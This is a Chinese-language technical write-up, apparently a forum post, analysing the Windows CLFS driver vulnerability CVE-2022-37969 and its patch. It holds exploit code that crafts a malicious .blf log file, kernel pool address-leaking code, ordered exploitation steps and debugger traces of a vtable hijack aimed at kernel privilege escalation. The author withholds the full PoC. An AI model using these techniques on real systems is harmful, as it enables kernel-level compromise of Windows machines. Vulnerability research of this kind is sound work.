1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | PCLFS_LOG_BLOCK_HEADER hd = (PCLFS_LOG_BLOCK_HEADER)(pFileBuff + 0x800 ); hd - >SignaturesOffset = 0x50 ; ULONGLONG base_record_ptr = (ULONGLONG)hd + hd - >RecordOffsets[ 0 ]; PCLFS_BASE_RECORD_HEADER base_record = PCLFS_BASE_RECORD_HEADER(base_record_ptr); base_record - >cbSymbolZone = 0x11000 + 0x15b ; base_record - >rgClients[ 0 ] = ClientOffset; PCLFS_CLIENT_CONTEXT fakectx = (PCLFS_CLIENT_CONTEXT)(base_record_ptr + ClientOffset); PCLFSHASHSYM fakesym = (PCLFSHASHSYM)(base_record_ptr + ClientOffset - sizeof(CLFSHASHSYM)); fakesym - >cbSymName = ClientOffset + sizeof(CLFS_CLIENT_CONTEXT); fakesym - >cbOffset = ClientOffset; fakectx - >cidNode.cType = 0xC1FDF007 ; fakectx - >cidNode.cbNode = sizeof(CLFS_CLIENT_CONTEXT); fakectx - >cidClient = 0 ; fakectx - >Reserved1 = 0 ; fakectx - >fAttributes = 0x0100 ; fakectx - >eState = CLFS_LOG_SHUTDOWN; |
4.重新打开修改后主blf文件通过CreateLogFile
5.创建副blf文件通过CreateLogFile
6.对副blf文件调用DeleteLogByHandle或者原文的NtSetInformationFile->FileDispositionInformation切换析构模式
7.对副blf文件添加容器通过AddContainer
8.对主blf文件添加容器通过AddContainer
9.关闭所有句柄触发漏洞
利用步骤分析
CLFS的元数据块总数默认为6个也就是如下的元数据类型,对于不是这个常量的元数据数量可以产生漏洞CVE-2022-3022详见看雪分析,在ReadImage先读取第一个ClfsMetaBlockControl元数据块,该块默认大小为400不能任意更改,读取后获取控制块中的所有元数据块配置数组,根据元数据块配置CLFS_METADATA_BLOCK读取和它之后的影子块保存在pbImage字段中,这个字段仅内核模式可见不写入文件中
1 2 3 4 5 6 7 8 9 | typedef enum _CLFS_METADATA_BLOCK_TYPE { ClfsMetaBlockControl, ClfsMetaBlockControlShadow, ClfsMetaBlockGeneral, ClfsMetaBlockGeneralShadow, ClfsMetaBlockScratch, ClfsMetaBlockScratchShadow } CLFS_METADATA_BLOCK_TYPE, * PCLFS_METADATA_BLOCK_TYPE; |
数据块类型 | 元数据块类型 | 描述 |
---|---|---|
Control Record | Control Metadata Block | 包含了有关布局(layout)、扩展(extend)区域以及截断(truncate)区域的信息 |
Base Record | General Metadata Block | 包含了符号表信息,其中包括该BLF有关的客户端、容器和安全上下文信息 |
Truncate Record | Scratch Metadata Block | 包含了因为截断操作而需要对扇区进行更改的客户端信息,以及具体更改的扇区字节. |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | / / 一次读取元数据块和它的影子块 signed __int64 __fastcall CClfsBaseFile::AcquireMetadataBlock(CClfsBaseFilePersisted * this, __int64 idx, __int64 a3, __int64 a4) { int cbimg = file - >field_rgBlocks_30[idx].cbImage; LPVOID MetadataBlockPtr = (struct _CLFS_LOG_BLOCK_HEADER * )ExAllocatePoolWithTag(PagedPoolCacheAligned, cbimg, 'sflC' ); that - >field_rgBlocks_30[idx].pbImage = MetadataBlockPtr; CClfsBaseFilePersisted::ReadMetadataBlock(MetadataBlockPtr,idx,...) CLFS_METADATA_BLOCK_TYPE shadowblocktype = (unsigned int )(idx + 1 ); hr = ClfsBaseFilePersisted::ReadMetadataBlock( that, shadowblocktype,...); } } __int64 __fastcall CClfsBaseFilePersisted::ReadImage(CClfsBaseFilePersisted * this, struct _CLFS_CONTROL_RECORD * * a2) { / / 获取第一个元数据 hr = CClfsBaseFile::GetControlRecord( file , ctrlrcd, v10, v11);{ result = CClfsBaseFile::AcquireMetadataBlock(this, ClfsMetaBlockControl, a3, a4); MetadataBlockPtr = that - >field_rgBlocks_30[ 0 ]; RecordOffset = MetadataBlockPtr - >pbImage - >RecordOffsets[ 0 ]; ctrlrcd = (_CLFS_CONTROL_RECORD * )(&MetadataBlockPtr - >pbImage - >MajorVersion + RecordOffset); } mapptr = (__int64) file - >field_rgBlocks_30 - >pbImage; for ( i = 0i64 ; (unsigned int )i < (unsigned __int16) file - >field_cblock_28; i = (unsigned int )(i + 1 ) ) { * (_OWORD * )&mapptrRef[idx].pbImage = * (_OWORD * )&( * ctrlrcd) - >rgBlocks[(unsigned int )i].pbImage; * (_QWORD * )&mapptrRef[idx].eBlockType = * (_QWORD * )&ctrlrcdRef - >rgBlocks[(unsigned int )i].eBlockType; } / / 获取主元数据 hr = CClfsBaseFile::AcquireMetadataBlock( file , ClfsMetaBlockGeneral, i, mapptr); } |
对于打开和创建的blf文件,在之后内存池空间没有被占位的情况下,ClfsMetaBlockGeneral和下个blf文件的ClfsMetaBlockGeneral几个间隔块大小经调试得出的结构偏移是常量0x11000,微软为我们提供个一个用户态函数可以查询到SystemBigPoolInformation具体的堆地址和tag,代码如下.这个查询函数可以查询到完整的大块堆信息,只要在申请之前查询一次申请之后查询一次即可准确分析出当前元数据所在的内核堆地址.当申请占位的文件最后堆块两个间隔正好是0x11000时,关闭这个两个占位文件,那些接下来申请的两个主文件中的ClfsMetaBlockGeneral也会出现在这个位置.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | DWORD dwBufSize = 1024 * 1024 ; DWORD dwOutSize = 0 ; LPVOID pBuffer = LocalAlloc(LPTR, dwBufSize); NTSTATUS hRes = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemBigPoolInformation, pBuffer, dwBufSize, &dwOutSize); _tprintf(_T( "NtQuerySystemInformation ret with 0x%d %d %d\n" ), hRes, dwOutSize, GetLastError()); DWORD dwExpectedSize = 0x7a00 ; ULONG_PTR StartAddress = (ULONG_PTR)pBuffer; ULONG_PTR EndAddress = StartAddress + 8 + * ((PDWORD)StartAddress) * sizeof(BIG_POOL_INFO); ULONG_PTR ptr = StartAddress + 8 ; printf( "[+] StartAddress is : 0x%llx,EndAddress is : 0x%llx\n" , StartAddress, EndAddress); while (ptr < EndAddress) { PBIG_POOL_INFO info = (PBIG_POOL_INFO)ptr; if (info - >PoolTag = = 'sflC' && dwExpectedSize = = info - >PoolSize) { ULONG_PTR FakeAddress = (((ULONG_PTR)info - >Address) & 0xfffffffffffffff0 ); printf( "[+] Name:%s ,Size:%llx ,FakeAddress is : 0x%llx,\n" , &info - >PoolTag, info - >PoolSize, FakeAddress); } ptr + = sizeof(BIG_POOL_INFO); } |
也就是说将cbSymbolZone设置为偏移0x11000加上pcontainer指针在元素据块中的偏移就能清空下个blf文件pcontainer指针的高位部分,实现和上个漏洞相同的利用结果.但是这里有个限制需要绕过,也就是cbSymbolZone需要小于SignaturesOffset,为了绕过这个限制,原文采用了一个巧妙的方法也就是构造一个特定的CLIENT_CONTEXT,在打开blf文件时如果在CClfsLogFcbPhysical::Initialize判断eState = CLFS_LOG_SHUTDOWN就会进入就会调用ClfsLogFcbPhysical::ResetLog
1 2 3 4 5 6 7 8 | __int64 __fastcall CClfsLogFcbPhysical::ResetLog(CClfsLogFcbPhysical * this) { this - >field_lsnrestart_1f0 = CLFS_LSN_INVALID; struct _CLFS_CLIENT_CONTEXT * cltctx; / / rcx CClfsBaseFile::AcquireClientContext(this - >field_BaseFilePersisted_2A8, 0 , &ctnctx); / / ctx + 58 最后就会写入ignatureOffset = 68 加上 2 高位部分 cltctx - >lsnRestart_58.ullOffset = that - >field_lsnrestart_1f0; } |
CLIENT_CONTEXT这里lsnRestart_58所在元数据位置正好是第4个Signatures要写入的位置,被替换成了CLFS_LSN_INVALID也就是FFFFFFFF00000000重叠部分正好是FFFFFFFF
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | __int64 __fastcall ClfsEncodeBlockPrivate(_CLFS_LOG_BLOCK_HEADER * hdr, unsigned int TotalSectorCount, char a3, unsigned __int8 a4) { do { / / SignaturesOffsetAddr = (ULONGLONG)that + that - >SignaturesOffset; SignaturesOffsetAddr + = 2i64 ; flag1 = 0x20 ; flag2 = 0x40 ; if ( thisref - >TotalSectorCount - 1 ! = Sectoridx ) flag1 = 0 ; if ( Sectoridx ) flag2 = 0 ; flagall = flag2 | flag1; sectorbase = Sectoridx << 9 ; LOBYTE(flagsig) = val10 | flagall; + + Sectoridx; / / signature array是个数组会和SignaturesOffset相交如果SignaturesOffset = 0x50 * (_WORD * )(SignaturesOffsetAddr - 2 ) = * (USHORT * )((char * )&thisref - >sig_1fe + sectorbase); * (USHORT * )((char * )&thisref - >sig_1fe + (unsigned int )sectorbase) = flagsig } while ( Sectoridx < SectorCount ); } |
CVE-2021-24521只是修复了Signatures与符号表相交的情况,并没有限制SignaturesOffset可以与自身的偏移量0x68重叠的情况,这里将SignaturesOffset设置为0x50那么第4个Signatures所在位置0x19FE(0xC*0x200+0x1FE)就会写入SignaturesOffset在文件中的偏移量68加上2的高16位也就是FFFF刚才提到的重叠部分的数据,这个利用方式很巧妙笔者还未发现被微软完全修复.SignaturesOffset被替换后的值变成了0xFFFF0050,从而绕过了cbSymbolZone限制使其可以越界清空下个堆块数据.
但是这种利用方式比较复杂,需要精确控制堆申请的偏移量,实际环境利用难度过高,其实还有一个更简单的利用方式,这种方式不需要清空下个堆块的pcontainer指针而是清空自己文件的指针,同样可以实现利用,实现方法只需要设置cbSymbolZone等于本文件的pcontainer指针偏移量+3就可以了,最后利用的效果是一样的.
调试分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | 1 : kd> bp clfs!CClfsLogFcbPhysical::ResetLog 2 : kd> r rax = 0000000000000000 rbx = ffff8c038124e000 rcx = ffff8c0380cec000 rdx = 0000000000000000 rsi = 0000000073666c43 rdi = 0000000000000200 rip = fffff8032ce014d5 rsp = ffff9c034e2290c0 rbp = ffff9c034e229760 r8 = ffff9c034e229100 r9 = ffffa2829d668070 r10 = 0000000000000000 r11 = ffffa2829d668000 r12 = 0000000000000000 r13 = ffff8c037fe37ad0 r14 = ffff8c038124e000 r15 = 0000000000000000 iopl = 0 nv up ei pl zr na po nc cs = 0010 ss = 0018 ds = 002b es = 002b fs = 0053 gs = 002b efl = 00040246 CLFS!CClfsLogFcbPhysical::ResetLog + 0x91 : fffff803` 2ce014d5 e8cae10100 call CLFS!CClfsBaseFile::AcquireClientContext (fffff803` 2ce1f6a4 ) / / 对 cltctx - >lsnRestart字段下硬件断点 2 : kd> ba r8 poi(ffff9c034e229100) + 58 2 : kd> g Breakpoint 3 hit CLFS!ClfsEncodeBlockPrivate + 0xe9 : fffff803` 2cdf8149 66418943fe mov word ptr [r11 - 2 ],ax 2 : kd> r rax = 000000000000ffff rbx = 0000000000000010 rcx = 0000000000001a00 rdx = 000000000000000e rsi = 0000000000007a00 rdi = 000000000000003d rip = fffff8032cdf8149 rsp = ffff9c034e228f70 rbp = 0000000000000000 r8 = ffff9c034e228f90 r9 = 0000000000000002 r10 = ffffa2829d668000 r11 = ffffa2829d66806c r12 = 0000000000000001 r13 = 0000000000000002 r14 = ffffa2829d668000 r15 = 0000000000000001 iopl = 0 nv up ei pl nz na pe nc cs = 0010 ss = 0018 ds = 002b es = 002b fs = 0053 gs = 002b efl = 00040202 / / r11 - 2 正好是SignatureOffset = 68 加上 2 高位部分 2 : kd> dc ffffa2829d668068 ffffa282` 9d668068 00000050 00000000 00000002 00000000 P............... ffffa282` 9d668078 e2c8dc5c 11ed7dcb dfc0c3af 96701a04 \....}........p. 2 : kd> p CLFS!ClfsEncodeBlockPrivate + 0xee : fffff803` 2cdf814e 0fb7442440 movzx eax,word ptr [rsp + 40h ] / / SignatureOffset已经变成了ffff0050 2 : kd> dc ffffa2829d668068 ffffa282` 9d668068 ffff0050 00000000 00000002 00000000 P............... / / 继续对SignatureOffset字段下硬件断点 2 : kd> ba r8 ffffa282` 9d668068 / / 跳过 2 个CLFS!CClfsBaseFilePersisted::AddContainer来到这里 0 : kd> p 0 : kd> r rax = 000000000001120b rbx = ffffa2829d67a503 rcx = ffffa2829d67a503 rdx = 0000000000000000 rsi = ffff9c034e229460 rdi = ffffa2829d668070 rip = fffff8032ce30207 rsp = ffff9c034e229410 rbp = 00000000000000b0 r8 = 00000000000000b0 r9 = 00000000fffffff8 r10 = fffff8032d5f08b0 r11 = 3333333333333333 r12 = 0000000000000060 r13 = ffff9c034e2296d8 CLFS!CClfsBaseFilePersisted::AllocSymbol + 0x67 : fffff803` 2ce30207 e874c8fcff call CLFS!memset (fffff803` 2cdfca80 ) / / 清零之前pcontainer指针的原始值 0 : kd> dq ffffa2829d67a500 ffffa282` 9d67a500 ffffa282` 9e58a3c0 00000002 ` 00000001 ffffa282` 9d67a510 00000000 ` 00000000 005c003f ` 003f005c / / 可以看到指向源虚表 5 : kd> dps ffffa282` 9e58a3c0 ffffa282` 9e58a3c0 fffff803` 2ce035f0 CLFS!CClfsContainer::`vftable' ffffa282` 9e58a3c8 00000000 ` 00080000 / / 继续走 0 : kd> p CLFS!CClfsBaseFilePersisted::AllocSymbol + 0x6c : fffff803` 2ce3020c 01af28130000 add dword ptr [rdi + 1328h ],ebp / / pcontainer指针高位已经没有了 0 : kd> dq ffffa2829d67a500 ffffa282` 9d67a500 00000000 ` 0058a3c0 00000000 ` 00000000 ffffa282` 9d67a510 00000000 ` 00000000 00000000 ` 00000000 0 : kd> dq 00000000 ` 0058a3c0 , / / ffff8c03` 80bf42aa 是ThreadPreMode地址 00000000 ` 0058a3c0 00000000 `ffff0000 ffff8c03` 80bf42aa 00000000 ` 0058a3d0 00000000 `ffff0000 ffff8c03` 80bf42aa 0 : kd> dq 00000000 `ffff0000 00000000 `ffff0000 00000000 ` 12345678 fffff803` 2d5f4da0 00000000 `ffff0010 00000000 ` 00000000 fffff803` 2ce01cb0 / / 变成了我们伪造的虚表 0 : kd> dps 00000000 `ffff0000 00000000 `ffff0000 00000000 ` 12345678 00000000 `ffff0008 fffff803` 2d5f4da0 nt!SeSetAccessStateGenericMapping 00000000 `ffff0010 00000000 ` 00000000 00000000 `ffff0018 fffff803` 2ce01cb0 CLFS!ClfsEarlierLsn / / 最后验证下我们的利用结果 2 : kd> r rax = fffff8032ce01cb0 rbx = 0000000000000000 rcx = 000000000058a3c0 rdx = 0000000000000000 rsi = ffff8c0380bb9000 rdi = 000000000058a3c0 rip = fffff8032ce16efc rsp = ffff9c034e2295e0 rbp = 0000000000000400 r8 = ffff9c034e2295b0 r9 = 0000000000000000 r10 = 0000000000000000 r11 = ffff9c034e229570 r12 = 0000000000000000 r13 = 0000000000000001 r14 = 0000000000001400 r15 = ffffa2829d67a4e8 iopl = 0 nv up ei pl zr na po nc cs = 0010 ss = 0018 ds = 002b es = 002b fs = 0053 gs = 002b efl = 00040246 CLFS!CClfsBaseFilePersisted::RemoveContainer + 0x14c : fffff803` 2ce16efc ff15ced6ffff call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff803` 2ce145d0 )] ds: 002b :fffff803` 2ce145d0 = {CLFS!guard_dispatch_icall_nop (fffff803` 2cdfc780 )} 2 : kd> k # Child-SP RetAddr Call Site 00 ffff9c03` 4e2295e0 fffff803` 2cdf120b CLFS!CClfsBaseFilePersisted::RemoveContainer + 0x14c 01 ffff9c03` 4e229640 fffff803` 2cdf8b0f CLFS!CClfsLogFcbPhysical::DeleteBaseFileAndContainers + 0xf3 02 ffff9c03` 4e229690 fffff803` 2cdf8761 CLFS!CClfsLogFcbPhysical::Finalize + 0x39b 03 ffff9c03` 4e2296c0 fffff803` 2ce1df42 CLFS!CClfsLogFcbPhysical::Release + 0xb1 04 ffff9c03` 4e229720 fffff803` 2ce20878 CLFS!CClfsRequest::Close + 0xd6 05 ffff9c03` 4e229770 fffff803` 2ce20747 CLFS!ClfsDispatchIoRequest + 0x108 06 ffff9c03` 4e2297c0 fffff803` 2d2adac5 CLFS!CClfsDriver::LogIoDispatch + 0x27 07 ffff9c03` 4e2297f0 fffff803` 2d5f288f nt!IofCallDriver + 0x55 08 ffff9c03` 4e229830 fffff803` 2d61baf0 nt!IopDeleteFile + 0x14f 09 ffff9c03` 4e2298b0 fffff803` 2d2b01a7 nt!ObpRemoveObjectRoutine + 0x80 0a ffff9c03` 4e229910 fffff803` 2d624449 nt!ObfDereferenceObjectWithTag + 0xc7 0b ffff9c03` 4e229950 fffff803` 2d62827c nt!ObCloseHandleTableEntry + 0x6c9 0c ffff9c03` 4e229a90 fffff803` 2d40c2b5 nt!NtClose + 0xec 0d ffff9c03` 4e229b00 00007ff9 ` 67b0d124 nt!KiSystemServiceCopyEnd + 0x25 0e 0000006c ` 0e6fdf18 00007ff9 ` 6528a405 ntdll!NtClose + 0x14 0f 0000006c ` 0e6fdf20 00000000 ` 00000000 0x00007ff9 ` 6528a405 2 : kd> ln rax Browse module Set bu breakpoint (fffff803` 2ce01cb0 ) CLFS!ClfsEarlierLsn | (fffff803` 2ce01d00 ) CLFS!ClfsLaterLsn |
CVE-2022-37969补丁分析
CVE-2021-24521补丁添加了Container和ClientContext对cbSymbolZone的越界验证,从而修复了所有的符号表相交和覆写问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | signed __int64 __fastcall CClfsBaseFile::ValidateOffsets(CClfsBaseFile * this, struct _CLFS_BASE_RECORD_HEADER * const a2) { hr = CClfsBaseFile::ValidateContainerContextOffsets(v3, v7, v2); if ( hr < 0 || (hr = CClfsBaseFile::ValidateClientContextOffsets(v3, v7, v2), hr < 0 ) || (hr = CClfsBaseFile::ValidateContainerSymTblOffsets(v3, v7, v2), hr < 0 ) || (hr = CClfsBaseFile::ValidateClientSymTblOffsets(v3, v7, v2), hr < 0 ) ) { return error; } signed __int64 __fastcall CClfsBaseFile::ValidateCheckifWithinSymbolZone(CClfsBaseFile * this, unsigned int offset, struct _CLFS_BASE_RECORD_HEADER * hdr) { if ( offset < 0x1338 || offset - 0x1338 > hdr - >cbSymbolZone ) return = 0xC01A000Di64 ; else return = 0i64 ; } |
漏洞复现
出于安全原因笔者不能提供完整的poc代码,下图是笔者在打了8月补丁的Windows1021h2虚拟机上成功复现了CVE-2022-37969
相关引用
参与贡献
作者来自ZheJiang Guoli Security Technology,邮箱cbwang505@hotmail.com
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法